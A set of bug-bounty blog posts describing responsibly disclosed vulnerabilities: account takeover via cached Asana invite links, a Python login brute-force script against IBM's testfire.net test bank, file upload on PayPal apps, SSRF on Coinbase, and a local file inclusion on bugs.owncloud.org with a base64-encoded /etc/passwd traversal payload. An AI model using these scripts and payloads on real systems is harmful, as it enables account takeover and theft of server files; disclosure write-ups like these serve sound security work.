Hijack User accounts via cached Invite links! #Asana #bugbounty

A few weeks back a friend of mine mentioned to me about Asana's bug bounty program. Although I did not see any mention of reward money in their security page I still thought of giving it a try. After reading a little about the company I found that www.asana.com is a portal where a team can share the resources and organize its work i.e. kind of a project management software.

I created an account and started poking around and checked for obvious vulnerabilities such as XSS and CSRF. The application appeared to be decent but there was always some scope for a few logical vulnerabilities.

The application allowed creation of new projects followed by addition of new users by sending them invite links.

These invite links looked like these (https://app.asana.com/app/asana/-/register?invite=XXXXXX), so I thought of trying my luck with these links.

By using a few Google dorks I was able to get a list of invite links which were cached by Google and to my surprise they were still active. 

 So I collected a list of cached invite links and tried creating an account and voila!! it worked smoothly as I expected. I was able to login into a valid user account by creating a new password. 

I reported this issue to asana security team and they were very quick in responding to my emails. The issue got fixed within no time and they rewarded me for the same.

My lazy attempt towards python! #BeautifulSoup #Requests

Inspired by the amazing null humla session that I attended I thought of writing my own simple login-brute-force in python using requests. There are a lot of brute-forcing scripts in the market but I thought of writing my own.

I love the Requests library for python, as the author says "Its HTTP for Humans" it actually is. I really encourage using this library at least once if one wants to start learning python web scraping.

I have also used BeautifulSoup library to extract few HTML tags. The website which I have used is http://www.testfire.net, which is a vulnerable bank application developed by IBM for web app testing.

The script is used to brute force all possible passwords against a single user name "admin". I initially tried writing it with cookiejar but some how the code got little lengthier but then Requests came to my rescue.

The script opens a file called 'password.txt' containing a list of random passwords to brute force. In this case the correct password is "admin", with Requests library it is possible to intercept the request in a proxy before hitting the server. Here I am running a proxy on port 8082 just to see the data what my script is sending.Feel free to use the script (for learning purpose only), here is the gist link.

#Author: Prajal Kulkarni

import requests
import sys
from bs4 import BeautifulSoup as BS

proxyDict = {"http":"127.0.0.1:8082"}

url = "http://www.testfire.net/bank/login.aspx"

def connect(url,m):
    t = requests.post("http://www.testfire.net/bank/login.aspx", data=m, proxies=proxyDict)
    print t.text
    soup = BS(t.text)
    a=soup.find('a', id="_ctl0__ctl0_Content_AccountLink")
    x = str(a.string)
    print x
    if x == "MY ACCOUNT" :
        print "The pass is" + " " + m['passw']
        sys.exit()
    else:
        print "Password %s not working" %m['passw']

def controller():
    m = {}
    f=open('password.txt','r').read().split('\n')
    for line in f:
          m["uid"] = "admin"
          m["passw"] = str(line)
          m["btnSubmit"] = "Login"
          print m
          connect(url,m)

controller()

Arbitrary File Upload in Paypal's http://apps.paypal.com

This was one of many vulnerabilities that I had found in http://apps.paypal.com as a part of their bug bounty program. This is one of their developer portals which is hosted on Apache/2.2.22 and running Drupal 7. I reported this issue to Paypal on May 19 2013. 

Here are some of the details of the bug:

After logging into the portal we can create applications suited to the developer environment and with this it allowed to upload supporting files (Ad Hoc files required for mobile app submissions). I uploaded a simple "txt" file and it generated an external link to the file (https://apps.paypal.com/system/files/test_###.txt).

The upload allowed all type of extensions (*.jpg,*.txt,*.gzip,*.php,*.jar,*exe etc) and didn't validate the same on the server end. I tried uploading a simple php shell but sadly it didn't work :(.

I tried the "XSS via SWF upload" which was blogged by Soroush Dalili (here for more details). I uploaded the "xssproject.swf" file and got an external link (https://apps.paypal.com/system/files/xssproject.swf).

The vulnerability was fixed immediately after it was reported to the security team.

Happy hunting!! cheers!!

SSRF/XSPA Bug in https://www.coinbase.com

This was one of the bugs which i had reported to Coinbase.com on May 1 2013 as apart of their bug bounty program. Although I started quite late in hunting I was lucky enough to find one interesting vulnerability in their "Merchant_settings" portal. 

The vulnerability is an SSRF/XSPA which allows an attacker to use the application as a proxy to scan for other services on remote servers on the internet. So in layman terms this vulnerability can be abused to port scan other servers on the internet. 

Here is the POC that I had submitted to coinbase. I used "scanme.nmap.org" which is known to have ports 22 and 80 opened.

In their "merchant_settings" they had a field wherein we can enter a URL for receiving instant payment notifications. And the field was not validated on the server end for any back-end response sent by the remote servers before displaying, this functionality allowed to do things like banner grabbing, port scanning, identify web-application frameworks etc.

Here is an example of an open port (22) on "scanme.nmap.org" which fetched me the open-ssh version.

#http://scanme.nmap.org:22/index.html

Here is what I received on entering a closed port (2243)

#http://scanme.nmap.org:2243/index.html

This functionality could have been abused in many ways one of them would be automating the attack and making multiple request to remote servers on  well known ports. The Coinbase secuity team has already fixed this vulnerability but i was quite disappointed when i received a bounty which was lesser than the minimum bounty they had promised on their responsible disclosure page i.e a payout of 5BTC.

The security team responded saying "We can't be sure of how this vulnerability could affect our coinbase users, and we issue bounties for only those vulnerabilities which affect our userbase". Any ways I can't say I wasn't disappointed but yes they should have delivered what they had promised on their responsible disclosure page.

Local File Inclusion Vulnerability in bugs.owncloud.org - CVE-2013-1761

Last year when i was finding vulnerabilities in owncloud.org i came across a Local file inclusion vulnerability in one of the subdomains of owncloud.org

A Little more insight on LFI:

Its a vulnerability which allows to read files which are present locally on the server having read permissions or one can also call it a dynamic execution of interpreted code loaded from a file . The attack can be serious when the application allows to read files which are located outside the root directory, which can be done using characters like ../../../../../../  or a ..%2F..%2F..%2F..%2F . This is actually to traverse outside the root directory and to access the files system.

Few php LFI examples:

<?php $test = $_GET['id']; 
 if(isset($test)) { include("pages/$test"); }
 else { include("index.php"); }

?>

In the above example the id parameter is not sanitized to filter out malicious characters like "..%2F", It is easily possible to access any file which is locally stored on the system outside the root directory.

Now coming back to owncloud the  website was bugs.owncloud.org and there was a parameter named "files=" which would fetch the requested file from the server. The parameter was not validating the user input at the server end so it was pretty simple to read any local files having read permissions.

Vulnerable URL: http://bugs.owncloud.org/thebuggenie/serve&g=css&files=

The "files" parameter was taking a base64 encoded value which was further decoded at the server end. So i encoded the value for ../../../../../../etc/passwd as Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== and accessed it "http://bugs.owncloud.org/thebuggenie/serve&g=css&files=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==" this read out the most important file from the server.

I reported the vulnerability to owncloud and they replied saying its a issue with "The Bug Genie". Lukas Reschke helped me to get in touch with the Bug Genie developers. They realized the criticality of the bug and quickly rolled out a fix within a week and assigned me a CVE id "CVE-2013-1761". They also acknowledged my contribution on their new software release here.

I also want to mention Lukas Reschke for helping me get a CVE id.